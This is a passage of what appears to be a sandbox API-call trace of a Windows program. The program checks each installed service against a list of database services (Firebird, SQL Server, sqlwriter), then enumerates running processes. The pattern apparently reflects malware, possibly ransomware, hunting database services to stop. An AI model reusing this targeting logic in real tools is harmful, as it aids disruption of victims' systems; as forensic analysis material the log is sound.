(lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0068.254] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0068.254] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0068.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0068.254] lstrlenW (lpString="Dnscache") returned 8 [0068.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0068.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0068.254] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0068.254] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0068.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0068.254] lstrlenW (lpString="DoSvc") returned 5 [0068.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0068.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0068.254] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0068.254] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0068.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0068.254] lstrlenW (lpString="DPS") returned 3 [0068.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0068.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0068.254] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0068.254] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0068.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0068.254] lstrlenW (lpString="DusmSvc") returned 7 [0068.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0068.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0068.254] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0068.255] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0068.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0068.255] lstrlenW (lpString="EventLog") returned 8 [0068.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0068.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0068.255] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0068.255] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0068.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0068.255] lstrlenW (lpString="EventSystem") returned 11 [0068.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0068.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0068.255] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0068.255] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0068.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0068.255] lstrlenW (lpString="FontCache") returned 9 [0068.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0068.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0068.255] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0068.255] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0068.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0068.255] lstrlenW (lpString="gpsvc") returned 5 [0068.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0068.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0068.255] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0068.255] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0068.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0068.255] lstrlenW (lpString="iphlpsvc") returned 8 [0068.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0068.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0068.255] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0068.255] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0068.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0068.255] lstrlenW (lpString="KeyIso") returned 6 [0068.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0068.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0068.255] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0068.256] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0068.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0068.256] lstrlenW (lpString="LanmanServer") returned 12 [0068.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0068.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0068.256] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0068.256] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0068.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0068.256] lstrlenW (lpString="LanmanWorkstation") returned 17 [0068.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0068.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0068.256] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0068.256] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0068.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0068.256] lstrlenW (lpString="lfsvc") returned 5 [0068.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0068.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0068.256] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0068.256] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0068.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0068.256] lstrlenW (lpString="lmhosts") returned 7 [0068.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0068.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0068.256] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0068.256] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0068.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0068.256] lstrlenW (lpString="LSM") returned 3 [0068.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0068.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0068.256] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0068.256] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0068.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0068.256] lstrlenW (lpString="MapsBroker") returned 10 [0068.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0068.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0068.257] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0068.257] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0068.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0068.257] lstrlenW (lpString="MpsSvc") returned 6 [0068.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0068.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0068.257] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0068.257] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0068.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0068.257] lstrlenW (lpString="NcbService") returned 10 [0068.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0068.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0068.257] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0068.257] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0068.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0068.257] lstrlenW (lpString="netprofm") returned 8 [0068.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0068.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0068.257] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0068.257] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0068.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0068.257] lstrlenW (lpString="NlaSvc") returned 6 [0068.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0068.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0068.257] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0068.257] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0068.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0068.257] lstrlenW (lpString="nsi") returned 3 [0068.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0068.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0068.257] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0068.257] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0068.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0068.257] lstrlenW (lpString="PcaSvc") returned 6 [0068.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0068.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0068.258] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0068.258] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0068.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0068.258] lstrlenW (lpString="PlugPlay") returned 8 [0068.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0068.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0068.258] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0068.258] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0068.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0068.258] lstrlenW (lpString="Power") returned 5 [0068.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0068.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0068.258] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0068.258] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0068.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0068.258] lstrlenW (lpString="ProfSvc") returned 7 [0068.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0068.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0068.258] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0068.258] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0068.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0068.258] lstrlenW (lpString="RpcEptMapper") returned 12 [0068.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0068.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0068.258] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0068.258] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0068.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0068.258] lstrlenW (lpString="RpcSs") returned 5 [0068.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0068.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0068.258] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0068.258] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0068.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0068.258] lstrlenW (lpString="SamSs") returned 5 [0068.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0068.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0068.259] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0068.259] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0068.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0068.259] lstrlenW (lpString="Schedule") returned 8 [0068.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0068.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0068.259] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0068.259] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0068.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0068.259] lstrlenW (lpString="SecurityHealthService") returned 21 [0068.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0068.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0068.259] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0068.259] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0068.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0068.259] lstrlenW (lpString="SENS") returned 4 [0068.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0068.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0068.259] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0068.259] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0068.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0068.259] lstrlenW (lpString="ShellHWDetection") returned 16 [0068.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0068.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0068.259] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0068.259] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0068.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0068.259] lstrlenW (lpString="Spooler") returned 7 [0068.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0068.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0068.259] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0068.259] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0068.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0068.259] lstrlenW (lpString="SSDPSRV") returned 7 [0068.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0068.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0068.260] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0068.260] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0068.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0068.260] lstrlenW (lpString="StateRepository") returned 15 [0068.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0068.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0068.260] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0068.260] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0068.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0068.260] lstrlenW (lpString="SysMain") returned 7 [0068.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0068.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0068.260] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0068.260] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0068.260] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x3d01278 | out: hHeap=0x690000) returned 1 [0068.260] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x328 [0068.267] Process32FirstW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0068.267] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0068.268] lstrlenW (lpString="System") returned 6 [0068.268] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0068.269] lstrlenW (lpString="smss.exe") returned 8 [0068.269] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0068.270] lstrlenW (lpString="csrss.exe") returned 9 [0068.270] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0068.270] lstrlenW (lpString="wininit.exe") returned 11 [0068.270] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0068.271] lstrlenW (lpString="csrss.exe") returned 9 [0068.271] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0068.272] lstrlenW (lpString="winlogon.exe") returned 12 [0068.272] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0068.272] lstrlenW (lpString="services.exe") returned 12 [0068.272] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0068.273] lstrlenW (lpString="lsass.exe") returned 9 [0068.273] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.274] lstrlenW (lpString="svchost.exe") returned 11 [0068.274] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0068.274] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0068.275] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0068.275] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0068.275] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.276] lstrlenW (lpString="svchost.exe") returned 11 [0068.276] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0068.277] lstrlenW (lpString="dwm.exe") returned 7 [0068.277] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.277] lstrlenW (lpString="svchost.exe") returned 11 [0068.277] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.278] lstrlenW (lpString="svchost.exe") returned 11 [0068.278] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.279] lstrlenW (lpString="svchost.exe") returned 11 [0068.279] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.280] lstrlenW (lpString="svchost.exe") returned 11 [0068.280] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.280] lstrlenW (lpString="svchost.exe") returned 11 [0068.280] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.281] lstrlenW (lpString="svchost.exe") returned 11 [0068.281] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.282] lstrlenW (lpString="svchost.exe") returned 11 [0068.282] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.282] lstrlenW (lpString="svchost.exe") returned 11 [0068.282] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.283] lstrlenW (lpString="svchost.exe") returned 11 [0068.283] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0068.284] lstrlenW (lpString="spoolsv.exe") returned 11 [0068.284] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0068.285] lstrlenW (lpString="svchost.exe") returned 11 [0068.285] Process32NextW (in: hSnapshot=0x328, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, 